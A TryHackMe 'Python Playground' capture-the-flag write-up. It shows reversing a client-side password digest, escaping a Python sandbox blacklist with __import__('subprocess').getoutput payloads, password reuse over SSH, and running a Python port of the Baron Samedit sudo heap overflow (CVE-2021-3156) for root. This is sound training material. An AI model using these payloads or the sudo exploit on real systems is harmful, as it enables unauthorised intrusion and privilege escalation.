Eye of Ra
SECURITY RESEARCHAsbawy
cd ../writeups
2026-11-03·TryHackMe·Machine·14 min

Python Playground - TryHackMe Writeup

HardWeb LinuxAUTOSOLVE
WebClient-SideSandbox-BypassDockerPassword-ReuseCVE-2021-3156Privilege-EscalationRCE
Exploit_Kill_Chain
3 Phases
01Hidden Backdoor Page
Reconnaissance

Nmap exposes SSH and a Node.js/Express app on port 80. Gobuster finds an admin.html login that only exists client-side - the real login and signup pages are dead stubs.

Tools:NmapGobuster
02Blacklist Escape to Root Container
Foothold

Reversed the double base-26 encoding of the client-side password, reached the hidden Python sandbox, and slipped past its substring filter with __import__('subprocess').getoutput() - the interpreter runs as root inside a docker container.

Tech:Sandbox Bypass
Tools:curlPythonChromium
03Password Reuse + CVE-2021-3156
PrivEsc

Reused the backdoor credentials over SSH into the docker host, then reproduced the Baron Samedit sudo heap overflow in pure Python to spawn a root shell and finish the machine.

Tech:CVE-2021-3156
Tools:SSHPythonparamiko
_

Introduction

Python Playground is a hard-rated TryHackMe machine created by deltatemporal that explores client-side cryptanalysis, web application filter evasion, container isolation mechanics, and Linux privilege escalation. The target hosts a Node.js/Express web application providing a web-based Python execution environment with a self-proclaimed "foolproof" blacklist filter.

The exploitation journey spans three distinct phases across the container and host:

  1. ▹Client-Side Backdoor Reversing: Analyzing Connor's client-side login validation logic to invert a double base-26 letter-pair transformation and recover valid credentials.
  2. ▹Sandbox Blacklist Escape: Evading the substring filter via __import__ to execute arbitrary commands as root inside the Docker web container (flag1.txt).
  3. ▹Lateral Movement & Host Exploitation: Reusing Connor's credentials over SSH against the Docker host (flag2.txt), followed by executing a pure-Python Baron Samedit (CVE-2021-3156) heap overflow against outdated sudo to achieve full root compromise on the host (flag3.txt).
_

Reconnaissance

::Nmap Scan

A full TCP scan kills it down to two services:

~ / bash
nmap -sS -sV -sC -p22,80 10.113.173.107
 
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Node.js Express framework
|_http-title: Python Playground!
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Only SSH and HTTP are exposed. Everything interesting - the docker engine, the python web unit, and the third flag - lives behind the frontend, so we have to earn our way in through the web application.

::The "Secure" Homepage

The landing page advertises a sandbox that keeps hackers out with a "foolproof blacklist":

Secure Python Playground homepage
Secure Python Playground homepage

The Login and Sign up links both lead to dead stub pages - the developers moved the real product "behind admin":

Login page is a dead stub
Login page is a dead stub

::Directory Fuzzing

A quick pass with Gobuster points at the page that still ships real markup:

~ / bash
gobuster dir -u http://10.113.173.107 \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-x html,js,json,txt,py,css -t 50
 
admin.html (Status: 200) [Size: 3134]
index.html (Status: 200) [Size: 941]
login.html (Status: 200) [Size: 549]
signup.html (Status: 200) [Size: 549]
_

Initial Foothold

::Connor's Secret Admin Backdoor

admin.html is a login form titled "Connor's Secret Admin Backdoor", and its comment set the tone for the entire room:

~ / js
// I suck at server side code, luckily I know how to make things secure without it - Connor

Connor's Secret Admin Backdoor
Connor's Secret Admin Backdoor

The validation is entirely client-side. The username is compared against a literal, and the password is double-encoded before being checked against a hardcoded digest:

~ / js
function string_to_int_array(str) {
const intArr = [];
for (let i = 0; i < str.length; i++) {
const charcode = str.charCodeAt(i);
const partA = Math.floor(charcode / 26); // high digit
const partB = charcode % 26; // low digit
intArr.push(partA);
intArr.push(partB);
}
return intArr;
}
 
function int_array_to_text(int_array) {
let txt = "";
for (let i = 0; i < int_array.length; i++) {
txt += String.fromCharCode(97 + int_array[i]); // a..z alphabet
}
return txt;
}
 
// ...on submit:
if (document.getElementById("username").value !== "connor") {
/* fail */
}
 
const hash = int_array_to_text(
string_to_int_array(int_array_to_text(string_to_int_array(chosenPass))),
);
 
if (hash === "dxeedxebdwemdwesdxdtdweqdxefdxefdxdudueqduerdvdtdvdu") {
window.location = "super-secret-admin-testing-panel.html";
}

::Inverting the Encoding

Each character becomes a pair of lowercase letters - one for ord(c)//26, one for ord(c)%26, both shifted into the a..z alphabet - and that transform is applied twice. Inverting it is just character subtraction:

~ / python
def letters_to_text(letters):
nums = [ord(c) - 97 for c in letters]
out = ""
for i in range(0, len(nums), 2):
out += chr(nums[i] * 26 + nums[i + 1])
return out
 
digest = 'dxeedxebdwemdwesdxdtdweqdxefdxefdxdudueqduerdvdtdvdu'
print(letters_to_text(letters_to_text(digest)))
~ / code
eleidtdzeadxememebbxbycacb
spaghetti1245

Credentials: connor : spaghetti1245 - and the digest trade reveals the hidden page: super-secret-admin-testing-panel.html.

::The Hidden Python Sandbox

Correct credentials drop us into Python Playground! - By Connor, a source-level code runner:

Hidden admin testing panel
Hidden admin testing panel

A benign run confirms both execution and output reflection:

~ / code
print(1+1)
 
2
 
Exit code 0

Benign python executes and reflects stdout
Benign python executes and reflects stdout

The moment the interpreter wants something interesting, the wall appears:

~ / code
import os; print(os.listdir("."))
 
Security threat detected!

Blacklist denial on a plain import
Blacklist denial on a plain import

_

Sandbox Escape

::Mapping the Filter

Fingerprinting which strings trip the filter shows that import (with the trailing space), eval, and exec are banned - while __import__ (no space) runs fine. We can read the exact filter source directly from the host by abusing the same sandbox with __import__('subprocess'):

~ / python
print(__import__('subprocess').getoutput('grep -A16 isAllowed index.js'))
~ / js
function isAllowed(code) {
if (typeof code !== "string") {
return false;
}
if (code.indexOf("import ") >= 0) {
return false;
}
if (code.indexOf("eval") >= 0) {
return false;
}
if (code.indexOf(".system") >= 0) {
return false;
}
if (code.indexOf("exec") >= 0) {
return false;
}
return true;
}
// ...the app writes the code to scripts/<random>.py and spawns 'python3 <name>'

The filter is a set of substring checks against the raw request body, so the bypass is literally encoded in its own gaps:

Banned substringWorking equivalentWhy it slips through
import __import__(...)__import__ has no import
.systemsubprocess.getoutput(...)no .system substring anywhere
exec / eval(not needed)getoutput already gives shells

And note what the runner does with the code - it writes the file itself into the app directory before spawning python3 on it:

~ / js
const name = `scripts/${Math.floor(Math.random() * 100000000000)}.py`;
fs.writeFileSync(name, code);
const python = spawn("python3", [name]);

::Command Execution at Root

With the filter understood, honest command execution is one line:

~ / code
print(__import__('subprocess').getoutput('id; cat /root/flag1.txt'))

Command execution inside the container reads flag 1
Command execution inside the container reads flag 1

The python interpreter spawned by the Node app runs as root - no container-user sacrifice here, which is why the "mid-tier" flag is readable straight away. Any reverse-shell payload you would usually stunt through the sandbox is entirely unnecessary for the first flag, but pivoting out of the container still needs a second account on the host.

Flag 1 - Docker Container Root (/root/flag1.txt)
•••••••••••••••••••••••••••••••••••••[ Click to reveal flag ]
_

Pivoting to the Host

::Exploring the Container Network

Running getoutput against the container's network view shows only one peer - the docker gateway - and our own internal IP:

~ / python
print(__import__('subprocess').getoutput('cat /etc/hosts; cat /proc/net/arp'))
~ / code
127.0.0.1 localhost
172.17.0.2 playgroundweb
 
IP address HW type Flags HW address Mask Device
172.17.0.1 0x1 0x2 02:42:b2:86:70:b6 * eth0

Docker network exposes a single live peer, the gateway
Docker network exposes a single live peer, the gateway

playgroundweb is a docker container on 172.17.0.0/16, and 172.17.0.1 (which serves SSH and HTTP on the published ports) is the host machine. The room's remaining two flags live over there.

::Password Reuse over SSH

Connor ships an identical password to the web backend, so we aim it straight at the host:

~ / bash
# password: spaghetti1245
 
id
uid=1000(connor) gid=1000(connor) groups=1000(connor)
 
cat ~/flag2.txt
Flag 2 - Host User (/home/connor/flag2.txt)
•••••••••••••••••••••••••••••••••••••[ Click to reveal flag ]
_

Privilege Escalation

::Washing Away sudo

connor can't leverage sudo at all - sudoers greps back empty for the user:

~ / code
$ sudo -n -l
Sorry, user connor may not run sudo on pythonplayground.

No docker group membership either, so the classic socket isn't reachable:

~ / code
srw-rw---- 1 root docker 0 /run/docker.sock

The host is running Ubuntu 18.04 (kernel 4.15.0-99) with a vulnerable sudo:

~ / code
dpkg -l | grep ' sudo '
ii sudo 1.8.21p2-3ubuntu1.2 Provide limited super user privileges

sudo 1.8.21p2 falls inside the affected range of CVE-2021-3156 (Baron Samedit) - a heap overflow in the argument-parsing code that any user can trigger via sudoedit -s before authentication is even attempted, no sudo rights of any kind required.

::Pure-Python Baron Samedit

The host has no gcc, so we drive the exploit with a pure-Python port of Sleepya's service_user overwrite technique (see worawit/CVE-2021-3156), delivered over SSH with paramiko. The exploit overflows sudo's heap, overwrites the NSS service_user struct so glibc loads our libnss_X/X1234.so.2, and that library spawns system("/bin/sh") as root:

~ / bash
cd /tmp && printf 'id; cat /root/flag3.txt\n' | timeout 90 python3 thm_pg_baron.py
~ / code
uid=0(root) gid=0(root) groups=0(root),1000(connor)
Flag 3 - Host Root (/root/flag3.txt)
•••••••••••••••••••••••••••••••••••••[ Click to reveal flag ]
_

Summary

Python Playground is a demonstration of what happens when every layer trusts a string:

  1. ▹A client-side login published credentials inside an invertible base-26 digest - password never knew the server.
  2. ▹A substring blacklist guarding a Python runner fell to __import__ because the blocked token included its own trailing space.
  3. ▹The python interpreter ran as root inside the container, opening the docker gateway and a host account with password reuse.
  4. ▹An unpatched sudo (1.8.21p2) on outdated Ubuntu left the whole host one heap overflow away from root, with no sudo membership needed by the attacker.
_

Automation

This whole chain was scripted end to end - client-side decode, sandbox probe, filter read, container root, host SSH, and the Baron Samedit delivery and detonation:

thm_pythonplayground_solve.py

Click Run Exploit to start the automated exploitation

5 steps · fully automated

Standalone Solver Script: View or download the complete automated Python exploit thm_pythonplayground_solve.py in our /autosolve directory.

_

References

▸about the author
Eye of Ra
Asbawy(Mohammed Elkasabi)

Red Team Consultant · Penetration Tester · Bug Bounty Hunter

Offensive security professional with 250+ vulnerabilities reported across 50+ organizations including Atlassian, Vimeo, and AT&T. Sharing research, tools, and field notes.

// end of writeup - return /writeups